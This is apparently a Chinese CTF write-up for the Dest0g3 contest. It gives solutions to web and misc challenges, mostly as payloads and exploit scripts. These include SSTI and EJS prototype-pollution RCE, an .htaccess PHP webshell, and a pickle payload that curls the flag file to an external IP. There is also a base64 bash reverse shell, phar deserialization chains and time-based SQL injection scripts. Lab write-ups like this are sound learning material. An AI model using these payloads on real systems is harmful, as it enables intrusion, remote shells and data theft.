Dest0g3 520迎新赛
时间:2023-01-13 05:30:00
WEB
phpdest
require_once绕过多个软连接
payload
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
base后 FLAG:Dest0g3{d46b6581-9b6e-4171-b9ee-d4c97fc9bf54}
EasyPHP
数组绕过:ctf[]=1
FLAG:Dest0g3{30b31494-135f-4875-ae5f-488ee925c5bf}
SimpleRCE
无参数RCE直接过
payload
POST: aaa=show_source(next(apache_request_headers())); User-Agent: /flag
FLAG:Dest0g3{7be6d1b1-7f43-4480-8f80-38b7bea0848d}
EasySSTI
- SSTI
bypass参考:以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区 (aliyun.com)
空间被过滤掉了,找到了类似的比赛:安恒月赛DASCTF3月份的娱乐比赛使用过滤器通过config字符串结构想要的字符
比如 .
a:截取字符串,替换点为空,然后得到想要的a
成功构造 globals
空格用 绕过即可,payload:
strs = """{%set poi=config|join|truncate(3)|last%} {%set xhx=config|join|truncate(28)|replace(poi,tmp)|last%} {%set a=config|join|truncate(23)|replace(poi,tmp)|last|lower%} {%set b=config|join|truncate(9)|replace(poi,tmp)|last|lower%} {%set c=config|join|truncate(31)|replace(poi,tmp)|last|lower%} {%set d=config|join|truncate(7)|replace(poi,tmp)|last|lower%} {%set e=config|join|truncate(4)|replace(poi,tmp)|last|lower%} {%set f=config|join|truncate(98)|replace(poi,tmp)|last|lower%} {%set g=config|join|truncate(11)|replace(poi,tmp)|last|lower%} {%set i=config|join|truncate(16)|replace(poi,tmp)|last|lower%} {%set l=config|join|truncate(96)|replace(poi,tmp)|last|lower%} {%set m=config|join|truncate(81)|replace(poi,tmp)|last|lower%} {%set n=config|join|truncate(5)|replace(poi,tmp)|last|lower%} {%set o=config|join|truncate(21)|replace(poi,tmp)|last|lower%} {%set p=config|join|truncate(19)|replace(poi,tmp)|last|lower%} {%set r=config|join|truncate(20)|replace(poi,tmp)|last|lower%} {%set s=config|join|truncate(14)|replace(poi,tmp)|last|lower%} {%set t=config|join|truncate(12)|replace(poi,tmp)|last|lower%} {%set glo=xhx xhx g l o b a l s xhx xhx%} {%set cla=xhx xhx c l a s s xhx xhx%} {%set get=g e t i t e m%} {%set xiegang=lipsum|attr(glo)|string|truncate(390)|list|attr(pp)(-27)%} {%set blank=lipsum|attr(glo)|string|truncate(390)|list|attr(pp)(-15)%} {%set shell=lipsum|attr(glo)|attr(p o p)(o s)%} {
{shell|attr(p o p e n)(c a t blank xiegang f l a g)|attr(r e a d)()}} """.replace('%','%').replace(' ',' ').replace(' ','+') print(strs)
FLAG:Dest0g3{6355e9f6-ca54-4316-a5da-9d3a122fc8b5}
NodeSoEasy
代码
const express = require('express') const bodyParser = require('body-parser')
const app = express()
const port = 5000
app.use(bodyParser.urlencoded({
extended: true})).use(bodyParser.json())
app.set('view engine', 'ejs');
const merge= (target, source) => {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
app.post('/', function (req, res) {
var target = {
}
var source = JSON.parse(JSON.stringify(req.body))
//var source = JSON.parse(req.body)
merge(target, source)
res.render('index');
})
app.listen(port, () => {
console.log(`listening on port ${
port}`)
})
很明显的ejs rce,payload
{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');","compileDebug":true}}
FLAG:Dest0g3{5f257a10-431c-4c2c-9526-075cc84568d4}
funny_upload
- .htaccess
上传 .htaccess,上传的内容有检测 ,添加 gif 为php解析,利用伪协议进行base64绕过
AddType application/x-httpd-php .gif
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif"
上传shell.gif
PD9waHAgZXZhbCgkX1BPU1RbJ3dob2FtaSddKTs/Pg==
详细文章:Web安全|.htaccess的奇淫技巧 - 云+社区 - 腾讯云 (tencent.com)
middle
大概一看 pickle 反序列化
import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64
app = Flask(__name__)
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/')
def show():
base_dir = os.path.dirname(__file__)
resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
resp.headers["Content-type"] = "text/plain;charset=UTF-8"
return resp
@app.route('/home', methods=['POST', 'GET'])
def home():
data=request.form['data']
User = restricted_loads(base64.b64decode(data))
return str(User)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)
import os
def backdoor(cmd):
# 这里我也改了一下
if isinstance(cmd,list) :
s=''.join(cmd)
print("!!!!!!!!!!")
s=eval(s)
return s
else:
print("??????")
找到类似题目:巅峰极客2021 what_pickle——一道综合性的python web - 安全客,安全资讯平台 (anquanke.com)
修改一下文章exp即可
import os
import config
import pickle
import sys
import base64
opcode = b'''(cconfig backdoor (S'__import__("os").system("curl http://150.158.181.145:3000 -F file=@/flag.txt")' lo.'''
print(base64.b64encode(opcode))
FLAG:Dest0g3{f17b5918-7e65-485e-ada0-1b34cb0c64bb}
EzSerial
登录,随便传一个,发现返回的cookie返回base64
admin/admin登录,看到cookie很像base64的序列化的形式,尝试ysoserial打一个URLDNS
放到cookie
收到回显
接着尝试CC链,但都不行,可能长度进行了限制,缩小payload:4ra1n/ShortPayload
payload
bash -c {
echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE1MC4xNTguMTgxLjE0NS82MDAwIDA+JjE=}|{
base64,-d}|{
bash,-i}
接受shell
FLAG:Dest0g3{79c1a2a1-fc15-4da5-a16b-2239d3e9ebe6}
ezip
图片有base64 源码
upload.php:
<?php
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
echo "hacker!!";
exit;
}
if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
echo "only zip!!";
exit;
}
$Myzip = new zip($_FILES['file']['name']);
mkdir($Myzip->path);
move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
echo "Try to unzip your zip to /".$Myzip->path."
";
if($Myzip->unzip()){
echo "Success";}else{
echo "failed";}
}
zip.php:
<?php
class zip
{
public $zip_name;
public $path;
public $zip_manager;
public function __construct($zip_name){
$this->zip_manager = new ZipArchive();
$this->path = $this->gen_path();
$this->zip_name = $zip_name;
}
public function gen_path(){
$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$newchars=str_split($chars);
shuffle($newchars);
$chars_key=array_rand($newchars,15);
$fnstr = "";
for($i=0;$i<15;$i++){
$fnstr.=$newchars[$chars_key[$i]];
}
return md5($fnstr.time().microtime()*100000);
}
public function deldir($dir) {
//先删除目录下的文件:
$dh = opendir($dir);
while ($file = readdir($dh)) {
if($file != "." && $file!="..") {
$fullpath = $dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
$this->deldir($fullpath);
}
}
}
closedir($dh);
}
function dir_list($directory)
{
$array = [];
$dir = dir($directory);
while ($file = $dir->read()) {
if ($file !== '.' && $file !== '..') {
$array[] = $file;
}
}
return $array;
}
public function unzip()
{
$fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
$white_list = ['jpg','png','gif','bmp'];
$this->zip_manager->open($fullpath);
for ($i = 0;$i < $this->zip_manager->count();$i ++) {
if (strstr($this->zip_manager->getNameIndex($i),"../")){
echo "you bad bad";
return false;
}
}
if(!$this->zip_manager->extractTo($this->path)){
echo "Unzip to /".$this->path."/ failed";
exit;
}
@unlink($fullpath);
$file_list = $this->dir_list("/var/www/html/".$this->path."/");
for($i=0;$i<sizeof($file_list);$i++){
if(is_dir($this->path."/".$file_list[$i])){
echo "dir? I deleted all things in it"."
";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
}
else{
if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {
echo "only image!!! I deleted it for you"."
";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
}
}
return true;
}
}
发现使用了 ZipArchive,根据P牛,两个文件 1.php 和 2.txt,压缩为zip,对压缩文件的文件名进行操作可以导致解压失败从而终止解压,然后遗留shell文件getshell,修改其中一个filename为 /
参考:
FLAG:Dest0g3{21f63c65-82d2-49b5-a847-c9a320096ffe}
pharPOP
源文件,对类名进行了过滤,可以利用php中类名不区分大小写,例如 Air() 进行绕过
highlight_file(__FILE__);
function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/get|air|tree|apple|banana|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}
class air{
public $p;
public function __set($p, $value) {
$p = $this->p->act;
echo new $p($value); # 4. 任意类,最终利用点
}
}
class tree{
public $name;
public $act;
public function __destruct() {
return $this->name(); # 1.入口 触发call
}
public function __call($name, $arg){
$arg[1] =$this->name->$name; # 2. 触发 apple的get
}
}
class apple {
public $xxx;
public $flag;
public function __get($flag)
{
$this->xxx->$flag = $this->flag; # 3.触发 air的set方法
}
}
class D {
public $start;
public function __destruct(){
$data = $_POST[0];
if ($this->start == 'w') {
waf($data);
$filename = "D:/phpstudy_pro/WWW/test/tmp/".md5(rand()).".jpg"; # 写 phar文件
file_put_contents($filename, $data);
echo $filename;
} else if ($this->start == 'r') {
waf($data);
$f = file_get_contents($data); # 触发phar文件
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}
class banana {
public function __get($name){
return $this->$name;
}
}
// flag in /
$tmp = $_POST[1];
if(strlen($_POST[1]) < 55) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}
throw new Error("start");
?>
考点挺多的,首先审计挖掘链子利用原生类,并生成phar文件
class Air{
public $p;
}
class Tree{
public $name;
public $act;
}
class Apple {
public $xxx;
public $flag;
}
@unlink('test.phar');
@unlink('test2.phar');
@unlink('phar.zip');
// flag in /
$tree = new Tree();
$tree->name = new Apple();
$tree->name->xxx = new Air();
$tree->name->flag = "/fflaggg";
#$tree->name->flag = "glob:///*flag*";
$tree2 = new Tree();
$tree2->act = "SplFileObject";
#$tree2->act = "FilesystemIterator";
$tree->name->xxx->p = $tree2;
echo serialize($tree);
$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('__HALT_COMPILER(); ?>');
$phar->setMetadata($tree);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
?>
生成
O:4:"Tree":2:{s:4:"name";O:5:"Apple":2:{s:3:"xxx";O:3:"Air":1:{s:1:"p";O:4:"Tree":2:{s:4:"name";N;s:3:"act";s:13:"SplFileObject";}}s:4:"flag";s:5:"/flag";}s:3:"act";N;}
修改phar文件,将最后 } 去掉来 fast-destruct 绕过 throw new Error(“start”);
写个exp
import requests
import gzip
import re
from hashlib import sha1
url = 'http://ab7c96c7-93b8-4971-86d6-ddcf9d48bbb8.node4.buuoj.cn:81'
# 修改签名
file = open("test.phar","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时Sha1正确了。
open("test2.phar","wb").write(new_file)
file = open("test2.phar", "rb") #打开文件
file_out = gzip.open("phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()
step = 1
if step == 0:
res = requests.post(
url,
data={
0: open('./phar.zip', 'rb').read(),
1:'O:1:"D":1:{s:5:"start";s:1:"w";'
}
) #写入文件
elif step == 1:
res = requests.post(
url,
data={
0: 'phar:///tmp/21bea9838c09f57aa29b99da24fba404.jpg',
1: 'O:1:"D":1:{s:5:"start";s:1:"r";'
}
) # 触发
print(res.text)
flag在/fflaggg
FLAG:Dest0g3{bea1b75c-67fa-4c82-8f6f-2703d16e218e}
Really Easy SQL
- 延时注入 benchmark
不管输入什么页面都回显一个信息有误,可以考虑延时注入,网站标题写的是钓鱼站,所以后台可能语句为insert
然后进行前后闭合测试,过滤sleep,substr,空格等
insert into user values(119,'test',if(2>1,benchmark(20000000,md5(1)),2)),('test','1','1')
payload,延时2.0s左右
test',if(2>1,benchmark(2000000,md5(1)),2)),('test2
test',if(ascii(mid(database(),1,1))>97,benchmark(2000000,md5(1)),2)),('
exp
import time
from string import ascii_uppercase,ascii_lowercase,digits
import requests
url = "http://f2b0d8e1-e12f-446c-a90e-bc79e2c0a062.node4.buuoj.cn:81/index.php"
#payload = "test',if(ascii(mid(database(),{},1))<={},benchmark(1000000,md5(1)),2)),('"
#payload = "test',if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))<={},benchmark(1000000,md5(1)),2)),('"
#payload = "test',if(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))<={},benchmark(1000000,md5(1)),2)),('"
payload = "test',if(ascii(mid((select(cmd)from(flaggg)),{},1))={},benchmark(500000,md5(1)),2)),('"
# database: ctf
# tables: flaggg
# columns: cmd
flagstr = ascii_lowercase+digits+'{}-'
flag = "Dest0g3"
for i in range(8,60):
for j in flagstr:
data = {
"username": payload.format(i, ord(j)),
"password": "1"
}
try:
res = requests.post(url, data=data, timeout=0.3)
except:
flag += j
print(flag)
time.sleep(0.2)
break
else:
time.sleep(0.2)
continue
import time
import requests
url = "http://f2b0d8e1-e12f-446c-a90e-bc79e2c0a062.node4.buuoj.cn:81/index.php"
asc = 'Dabcdefghijklmnopqrstuvwxyz0123456789{}-_'
flag = ""
for i in range(50):
for j in asc:
#payload = "'or(if(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={},benchmark(1000000,md5(1)),0))or'"
payload = "'or(if(ascii(mid((select(cmd)from(flaggg)),{},1))={},benchmark(2000000,md5(1)),0))or'"
data = {
"username": payload.format(i, ord(j)),"password": "test"}
start_time2=time.time()
res = requests.post(url, data=data)
end_time2=time.time()
sec2=(end_time2-start_time2)
if sec2 >=0.4
flag += j
print(flag)
time.sleep(0.3)
break
else:
pass
FLAG:Dest0g3{a6d4b63f-97a4-458e-b3cb-693cb2e5555b}
文章:MySQL中延时注入的5种姿势
easysql
If大写绕过
exp
import time
from string import ascii_uppercase,ascii_lowercase,digits
import requests
url = "http://260d2f5f-8f3a-4c00-ba22-abd633608164.node4.buuoj.cn:81/index.php"
#payload = "test',if(ascii(mid(database(),{},1))<={},benchmark(1000000,md5(1)),2)),('"
#payload = "test',if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))<={},benchmark(1000000,md5(1)),2)),('"
#payload = "test',if(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))<={},benchmark(1000000,md5(1)),2)),('"
payload = "test',If(ascii(mid((select(cmd)from(flaggg)),{},1))={},benchmark(500000,md5(1)),2)),('"
# database: ctf
# tables: flaggg,user
# columns: cmd
flagstr = ascii_lowercase+digits+'{}-'
flag = "Dest0g3"
for i in range(8,60):
for j in flagstr:
data = {
"username": payload.format(i, ord(j)),
"password": "1"
}
try:
res = requests.post(url, data=data, timeout=0.3)
except:
flag += j
print(flag)
time.sleep(0.2)
break
else:
time.sleep(0.2)
continue
FLAG:Dest0g3{4c96be81-539b-458d-89b3-9abfa84e032e}
ljctr
一道java的题目,给了两个jar包,DemoApplication.jar和waf.jar
附件中的txt给了关键字agent,前一段时间java内存马的学习了解过agent内存马的姿势,所以猜测这道题可能需要内存马相关知识,但是更为具体的原理并不清楚,所以尽量在解题的时候学习agent
demo为springboot
docker rm -f ljctr
docker build --tag=ljctr .
docker run -p 8080:8080 --rm --name=ljctr ljctr
出题人wp:ljctr wp (firebasky.github.io)
MISC
Welcome to fxxking DestCTF
公众号回复即可
Pngenius
发现压缩包,提取后
steg发现password:Weak_Pas5w0rd
FLAG:Dest0g3{2908C1AA-B2C1-B8E6-89D1-21B97D778603}
EasyEncode
压缩包爆破密码:100861
摩斯密码->hex转str->unicode->urldecode->bae64
FLAG:Dest0g3{Deoding_1s_e4sy_4_U}
你知道js吗
修改后缀为 .docx,发现字体不对,修改字体
base64解码,发现xml格式,urldecode
Do you know js
+++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.-- -.-.- --.++ ++++. +.--- -..++ ++.<+ ++[-> +++<] >++.< +++[- >---< ]>--- ---.+ ++++. ----- .+++. ...-- ---.+ ++++. ---.+ ++.-- ---.+ ++++. ---.. +++++ +.--- ----. <++++ [->++ ++<]> ++.<+ +++[- >---- <]>-. ---.+ +++++ .---- -.++. ++.+. --.-- .<+++ +[->+ +++<] >++.< ++++[ ->--- -<]>- .+.-. ---.+ ++.+. -.+++ +.--- --.<+ +++[- >++++ <]>++ .<+++ [->-- -<]>- ----. ----. +.+++ +.--- -.--- .+++. -..<+ +++[- >++++ <]>++ .<+++ +[->- ---<] >-.++ +++.- ----. +++.. ---.+ ++.-- --.+. ..+++ +.-.- ----. +++++ .---- .+.++ ++.-- --.++ ++.-. ----. +.-.+ ++++. <+++[ ->+++ <]>++ ++.<